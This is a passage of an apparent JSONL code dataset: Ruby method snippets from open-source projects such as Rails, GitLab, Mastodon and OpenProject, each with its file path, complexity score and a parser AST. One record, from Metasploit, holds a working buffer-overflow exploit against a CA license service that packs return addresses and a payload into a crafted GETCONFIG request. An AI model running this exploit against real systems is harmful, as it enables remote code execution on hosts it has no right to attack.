nd\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pr_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"title\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pr_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"state\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repo\"]},{\"type\":\"lvar\",\"children\":[\"source_repo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"branch\"]},{\"type\":\"lvar\",\"children\":[\"source_branch\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sha\"]},{\"type\":\"lvar\",\"children\":[\"source_sha\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://github.com/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_repo\"]}]},{\"type\":\"str\",\"children\":[\"/tree/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_branch\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repo\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pr_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"base\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"repo\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"full_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"branch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pr_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"base\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"ref\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pr_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"login\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pr_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"created_at\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pr_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"updated_at\"]}]}]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to retrieve the PR information. Status code: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response_code\"]}]}]}]}]}]}]}]}","id":"9da47ef0-aad2-40ad-a935-8893f9c122ce"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/team_planner/spec/support/components/add_existing_pane.rb","start_line":44,"raw_source":"def expect_open\n expect(page).to have_selector(selector)\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_open\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_selector\",{\"type\":\"send\",\"children\":[null,\"selector\"]}]}]}]}","id":"36e371b9-4b1b-4582-9abe-3772e6d75123"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/schema_test.rb","start_line":123,"raw_source":"def test_create_schema\n @connection.create_schema \"test_schema3\"\n assert @connection.schema_names.include? \"test_schema3\"\n ensure\n @connection.drop_schema \"test_schema3\"\n end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_create_schema\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"create_schema\",{\"type\":\"str\",\"children\":[\"test_schema3\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"schema_names\"]},\"include?\",{\"type\":\"str\",\"children\":[\"test_schema3\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"drop_schema\",{\"type\":\"str\",\"children\":[\"test_schema3\"]}]}]}]}","id":"dd3418e8-189f-4c79-b2c9-f845c0345204"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vim_performance_state.rb","start_line":134,"raw_source":"def vms\n ids = get_assoc(:vms)\n ids.empty? ? VmOrTemplate.none : VmOrTemplate.where(:id => ids).order(:id)\n end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"vms\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ids\",{\"type\":\"send\",\"children\":[null,\"get_assoc\",{\"type\":\"sym\",\"children\":[\"vms\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VmOrTemplate\"]},\"none\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VmOrTemplate\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"ids\"]}]}]}]},\"order\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"513cd104-c7dc-4b0d-8e3c-df20f6970fc6"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/calculations_test.rb","start_line":811,"raw_source":"def test_no_queries_for_empty_relation_on_sum\n assert_queries_count(0) do\n assert_equal 0, Post.where(id: []).sum(:tags_count)\n end\n end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_no_queries_for_empty_relation_on_sum\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"array\",\"children\":[]}]}]}]},\"sum\",{\"type\":\"sym\",\"children\":[\"tags_count\"]}]}]}]}]}","id":"f1807dc4-a623-4763-8999-97ee6a228bd2"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/image_import_job/dispatcher.rb","start_line":19,"raw_source":"def running_import_jobs\n running_jobs.group_by { |job| job.options[:ems_id] }\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"running_import_jobs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"running_jobs\"]},\"group_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ems_id\"]}]}]}]}","id":"6c3c95d5-7686-43de-9672-e6984cb3f74d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/packages/packages_finder.rb","start_line":7,"raw_source":"def initialize(project, params = {})\n @project = project\n @params = params\n\n params[:order_by] ||= 'created_at'\n params[:sort] ||= 'asc'\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"order_by\"]}]},{\"type\":\"str\",\"children\":[\"created_at\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sort\"]}]},{\"type\":\"str\",\"children\":[\"asc\"]}]}]}]}","id":"94faf357-ccc9-42c4-bdff-7ebcac9ea8e1"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/scheduled_statuses_controller.rb","start_line":28,"raw_source":"def destroy\n @status.destroy!\n render_empty\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"destroy!\"]},{\"type\":\"send\",\"children\":[null,\"render_empty\"]}]}]}","id":"4fd52bba-dcea-4da9-a1a1-2667f782a661"} {"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/app_generator_test.rb","start_line":763,"raw_source":"def test_inclusion_of_kamal_files\n generator [destination_root]\n run_generator_instance\n\n assert_file \"config/deploy.yml\"\n assert_file \".kamal/secrets\"\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_inclusion_of_kamal_files\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generator\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destination_root\"]}]}]},{\"type\":\"send\",\"children\":[null,\"run_generator_instance\"]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"config/deploy.yml\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\".kamal/secrets\"]}]}]}]}","id":"c7c8f011-36a4-4402-9bcf-043bc4c4339b"} {"repo_name":"fastlane","file_path":"./repos/fastlane/trainer/lib/trainer/legacy_xcresult.rb","start_line":179,"raw_source":"def find_failure(failures)\n sanitizer = proc { |name| name.gsub(/\\W/, \"_\") }\n sanitized_identifier = sanitizer.call(self.identifier)\n if self.test_status == \"Failure\"\n # Tries to match failure on test case name\n # Example TestFailureIssueSummary:\n # producingTarget: \"TestThisDude\"\n # test_case_name: \"TestThisDude.testFailureJosh2()\" (when Swift)\n # or \"-[TestThisDudeTests testFailureJosh2]\" (when Objective-C)\n # Example ActionTestMetadata\n # identifier: \"TestThisDude/testFailureJosh2()\" (when Swift)\n # or identifier: \"TestThisDude/testFailureJosh2\" (when Objective-C)\n\n found_failure = failures.find do |failure|\n # Sanitize both test case name and identifier in a consistent fashion, then replace all non-word\n # chars with underscore, and compare them\n sanitized_test_case_name = sanitizer.call(failure.test_case_name)\n sanitized_identifier == sanitized_test_case_name\n end\n return found_failure\n else\n return nil\n end\n end","complexity_score":19.9,"ast_json":"{\"type\":\"def\",\"children\":[\"find_failure\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"failures\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sanitizer\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\W\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"_\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sanitized_identifier\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sanitizer\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"identifier\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"test_status\"]},\"==\",{\"type\":\"str\",\"children\":[\"Failure\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"found_failure\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failures\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"failure\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sanitized_test_case_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sanitizer\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failure\"]},\"test_case_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sanitized_identifier\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"sanitized_test_case_name\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"found_failure\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"91bf80f8-1829-4396-8bf7-ff3458b6c4a3"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations_test.rb","start_line":166,"raw_source":"def test_belongs_to_a_model_with_composite_primary_key_uses_composite_pk_in_sql\n comment = sharded_comments(:great_comment_blog_post_one)\n\n sql = capture_sql do\n comment.blog_post\n end.first\n\n assert_match(/#{Regexp.escape(quote_table_name(\"sharded_blog_posts.blog_id\"))} =/, sql)\n assert_match(/#{Regexp.escape(quote_table_name(\"sharded_blog_posts.id\"))} =/, sql)\n end","complexity_score":14.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_belongs_to_a_model_with_composite_primary_key_uses_composite_pk_in_sql\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"comment\",{\"type\":\"send\",\"children\":[null,\"sharded_comments\",{\"type\":\"sym\",\"children\":[\"great_comment_blog_post_one\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture_sql\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"blog_post\"]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"escape\",{\"type\":\"send\",\"children\":[null,\"quote_table_name\",{\"type\":\"str\",\"children\":[\"sharded_blog_posts.blog_id\"]}]}]}]},{\"type\":\"str\",\"children\":[\" =\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"sql\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"escape\",{\"type\":\"send\",\"children\":[null,\"quote_table_name\",{\"type\":\"str\",\"children\":[\"sharded_blog_posts.id\"]}]}]}]},{\"type\":\"str\",\"children\":[\" =\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"sql\"]}]}]}]}","id":"02116002-e13d-48e3-a0ea-a0f257122f11"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/input/file_info.rb","start_line":38,"raw_source":"def self.build(file_id:, contract: FileInfoContract.new)\n contract.call(file_id:).to_monad.fmap { |it| new(**it.to_h) }\n end","complexity_score":8.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"build\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"file_id\"]},{\"type\":\"kwoptarg\",\"children\":[\"contract\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileInfoContract\"]},\"new\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contract\"]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_id\"]},{\"type\":\"lvar\",\"children\":[\"file_id\"]}]}]}]},\"to_monad\"]},\"fmap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"it\"]}]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"it\"]},\"to_h\"]}]}]}]}]}]}","id":"96146ce8-23e8-458a-919c-ba368952409a"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/admin/canonical_email_blocks_controller.rb","start_line":34,"raw_source":"def create\n authorize :canonical_email_block, :create?\n @canonical_email_block = CanonicalEmailBlock.create!(resource_params)\n log_action :create, @canonical_email_block\n render json: @canonical_email_block, serializer: REST::Admin::CanonicalEmailBlockSerializer\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorize\",{\"type\":\"sym\",\"children\":[\"canonical_email_block\"]},{\"type\":\"sym\",\"children\":[\"create?\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@canonical_email_block\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CanonicalEmailBlock\"]},\"create!\",{\"type\":\"send\",\"children\":[null,\"resource_params\"]}]}]},{\"type\":\"send\",\"children\":[null,\"log_action\",{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"ivar\",\"children\":[\"@canonical_email_block\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"ivar\",\"children\":[\"@canonical_email_block\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"serializer\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REST\"]},\"Admin\"]},\"CanonicalEmailBlockSerializer\"]}]}]}]}]}]}","id":"1afa2b26-5792-4d3c-84b0-80fb49ba04fe"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/bitbucket_server_import/importers/notes_importer.rb","start_line":67,"raw_source":"def process_comment(merge_request, activity)\n if activity.comment?\n return enqueue_comment_import(merge_request, 'inline', activity.comment) if activity.inline_comment?\n\n return enqueue_comment_import(merge_request, 'standalone_notes', activity.comment)\n end\n\n comment_type = if activity.approved_event?\n 'approved_event'\n elsif activity.declined_event?\n 'declined_event'\n elsif activity.merge_event?\n 'merge_event'\n end\n\n enqueue_comment_import(merge_request, comment_type, activity) if comment_type\n end","complexity_score":19.5,"ast_json":"{\"type\":\"def\",\"children\":[\"process_comment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]},{\"type\":\"arg\",\"children\":[\"activity\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"activity\"]},\"comment?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"activity\"]},\"inline_comment?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enqueue_comment_import\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]},{\"type\":\"str\",\"children\":[\"inline\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"activity\"]},\"comment\"]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enqueue_comment_import\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]},{\"type\":\"str\",\"children\":[\"standalone_notes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"activity\"]},\"comment\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"comment_type\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"activity\"]},\"approved_event?\"]},{\"type\":\"str\",\"children\":[\"approved_event\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"activity\"]},\"declined_event?\"]},{\"type\":\"str\",\"children\":[\"declined_event\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"activity\"]},\"merge_event?\"]},{\"type\":\"str\",\"children\":[\"merge_event\"]},null]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment_type\"]},{\"type\":\"send\",\"children\":[null,\"enqueue_comment_import\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]},{\"type\":\"lvar\",\"children\":[\"comment_type\"]},{\"type\":\"lvar\",\"children\":[\"activity\"]}]},null]}]}]}","id":"0e0c036c-ebf0-4bda-b76d-c42c84557e0e"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/license/calicserv_getconfig.rb","start_line":85,"raw_source":"def exploit\n connect\n banner = sock.get_once\n if (banner !~ /GETCONFIG/)\n print_status(\"The server did not return the expected greeting!\")\n end\n\n # exploits two different versions at once >:-)\n # 144 -> return address of esi points to string middle\n # 196 -> return address of edi points to string beginning\n # 148 -> avoid exception by patching with writable address\n # 928 -> seh handler (not useful under XP SP2)\n buff = rand_text_alphanumeric(900)\n buff[142, 2] = Rex::Arch::X86.jmp_short(8)\t# jmp over addresses\n buff[144, 4] = [target['Rets'][0]].pack('V')\t# jmp esi\n buff[148, 4] = [target['Rets'][1]].pack('V')\t# writable address\n buff[194, 2] = Rex::Arch::X86.jmp_short(4)\t# jmp over address\n buff[196, 4] = [target['Rets'][2]].pack('V')\t# jmp edi\n buff[272, payload.encoded.length] = payload.encoded\n\n sploit = \"A0 GETCONFIG SELF #{buff}\"\n sock.put(sploit)\n\n handler\n disconnect\n end","complexity_score":47.25,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"lvasgn\",\"children\":[\"banner\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"banner\"]},\"!~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"GETCONFIG\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"The server did not return the expected greeting!\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"buff\",{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[900]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buff\"]},\"[]=\",{\"type\":\"int\",\"children\":[142]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Arch\"]},\"X86\"]},\"jmp_short\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buff\"]},\"[]=\",{\"type\":\"int\",\"children\":[144]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Rets\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buff\"]},\"[]=\",{\"type\":\"int\",\"children\":[148]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Rets\"]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buff\"]},\"[]=\",{\"type\":\"int\",\"children\":[194]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Arch\"]},\"X86\"]},\"jmp_short\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buff\"]},\"[]=\",{\"type\":\"int\",\"children\":[196]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Rets\"]}]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buff\"]},\"[]=\",{\"type\":\"int\",\"children\":[272]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},\"length\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sploit\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"A0 GETCONFIG SELF \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buff\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"sploit\"]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"975c5b81-a0bb-4bed-96c1-0a94480e86b4"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/openid_connect/app/controllers/openid_connect/providers_controller.rb","start_line":196,"raw_source":"def make_group_matcher\n result = OpenIDConnect::Providers::SetAttributesService.new(\n user: User.current,\n model: OpenIDConnect::Provider.new,\n contract_class: OpenIDConnect::Providers::CreateContract\n ).call(group_regexes: params[:preview_regular_expressions])\n\n if result.errors[:group_regexes].present?\n ServiceResult.failure(errors: result.errors[:group_regexes])\n else\n ServiceResult.success(result: OpenIDConnect::Groups::GroupMatchService.new(result.result.group_matchers))\n end\n 